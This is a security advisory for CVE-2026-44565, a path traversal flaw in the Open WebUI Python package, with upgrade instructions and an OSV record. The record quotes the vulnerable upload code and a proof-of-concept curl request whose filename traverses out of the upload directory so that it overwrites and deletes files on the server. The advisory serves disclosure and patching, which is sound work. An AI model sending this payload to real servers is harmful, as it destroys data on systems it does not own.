CVE-2026-44565: Open webui Path Traversal Vulnerability
HIGHCVE-2026-44565 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui arbitrary file write, delete via path traversal. Remediation is available by upgrading affected packages to version 0.6.10.
CVE-2026-44565 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-44565
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.6.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-44565, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.10), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44565 Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.6.10
|
0.6.10
|
References
Frequently Asked Questions
What is CVE-2026-44565?
Which Open webui versions are affected?
What version fixes CVE-2026-44565?
Is open-webui affected?
What is the CVSS score of CVE-2026-44565?
What CWE is associated with CVE-2026-44565?
How can I check PyPI dependencies for CVE-2026-44565?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j3fw-wc48-29g3",
"modified" : "2026-05-19T15:57:21Z",
"published" : "2026-05-11T14:03:24Z",
"aliases" : [ "CVE-2026-44565" ],
"summary" : "Open WebUI Arbitrary File Write, Delete via Path Traversal",
"details" : "** CONFIDENTIAL **\n\nVulnerability Disclosure Analysis Documentation\n-----------------------------------------------\n\nVulnerability Details\n---------------------\n1. Discoverer: Taylor Pennington of KoreLogic, Inc.\n2. Date Submitted: June 11, 2024\n3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal\n4. High-level Summary:\n Attacker controlled files can be uploaded to arbitrary locations on the web\n server's filesystem by abusing a path traversal vulnerability. After the\n file is written, it is deleted.\n5. Affected Vendor: Open WebUI\n6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)\n7. Affected Version(s): 0.1.105\n8. Platform/OS: Debian GNU/Linux 12 (bookworm)\n9. Vector: HTTP web interface\n10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n11. Technical Analysis:\n \n When attaching files to a prompt by clicking the plus sign (+) on the left of\n the message input box when using the Open WebUI HTTP interface, the file is\n uploaded to a static upload directory. If the file is an audio file\n it will be sent to a second API that will attempt to transcribe it.\n\n The name of the file is derived from the original HTTP upload request and is\n not validated or sanitized. This allows for users to upload files with names\n containing dot-segments in the file path and traverse out of the intended\n uploads directory. Effectively, users can upload files anywhere on the\n filesystem the user running the web server has permission.\n\n This can be visualized by examining the python code for the\n \"/ollama/models/upload\" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):\n\n ```\n def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):\n if url_idx == None:\n url_idx = 0\n ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]\n\n file_path = f\"{UPLOAD_DIR}/{file.filename}\"\n\n # Save file in chunks\n with open(file_path, \"wb+\") as f:\n for chunk in file.file:\n f.write(chunk)\n\n def file_process_stream():\n nonlocal ollama_url\n total_size = os.path.getsize(file_path)\n chunk_size = 1024 * 1024\n try:\n with open(file_path, \"rb\") as f:\n total = 0\n done = False\n\n while not done:\n chunk = f.read(chunk_size)\n if not chunk:\n done = True\n continue\n\n total += len(chunk)\n progress = round((total / total_size) * 100, 2)\n\n res = {\n \"progress\": progress,\n \"total\": total_size,\n \"completed\": total,\n }\n yield f\"data: {json.dumps(res)}\\n\\n\"\n\n if done:\n f.seek(0)\n hashed = calculate_sha256(f)\n f.seek(0)\n\n url = f\"{ollama_url}/api/blobs/sha256:{hashed}\"\n response = requests.post(url, data=f)\n\n if response.ok:\n res = {\n \"done\": done,\n \"blob\": f\"sha256:{hashed}\",\n \"name\": file.filename,\n }\n os.remove(file_path)\n yield f\"data: {json.dumps(res)}\\n\\n\"\n else:\n raise Exception(\n \"Ollama: Could not create blob, Please try again.\"\n )\n\n except Exception as e:\n res = {\"error\": str(e)}\n yield f\"data: {json.dumps(res)}\\n\\n\"\n\n return StreamingResponse(file_process_stream(), media_type=\"text/event-stream\")\n ```\n\n The model is temporarily written to disk in chunks and then the data is sent to\n another internal API. Once the file is successfully passed, the file is removed\n from the disk. Note line 1116, `os.remove(file_path)`.\n\n This has an affect of stomping on and ultimately deleting any file that the user\n of the open-webui service has permissions over.\n\n It may be possible to continue sending chunks to the file slowly and create\n a race condition however, this was not validated.\n\n12. Proof-of-Concept:\n\n First, create a file under the `/tmp` directory named `DELETE_ME` while\n logged in as the user account of the web application or chown the file to be\n owned by the open-webui user.\n\n ```\n # su ollama\n # touch /tmp/DELETE_ME\n ```\n \n Execute the following cURL command after replacing the exported `JWT` value for a valid user session:\n\n ```\n export JWT=\"JWT_HERE\"; curl -s -X $'POST' \\\n -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H \"Authorization: Bearer ${JWT}\" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \\\n --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\\x0d\\x0aContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"../../../../../../../tmp/DELETE_ME\\\"\\x0d\\x0aContent-Type: image/png\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \\\n $'https://openwebui.example.com/ollama/models/upload'\n ```\n\n Verify that `/tmp/DELETE_ME` has been deleted.\n\n13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: \n\n```\nfilename = os.path.basename(file.filename)\nfile_path = f\"{UPLOAD_DIR}/{filename}\"\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.6.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44565"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-11T14:03:24Z",
"nvd_published_at" : "2026-05-15T22:16:52Z"
}
}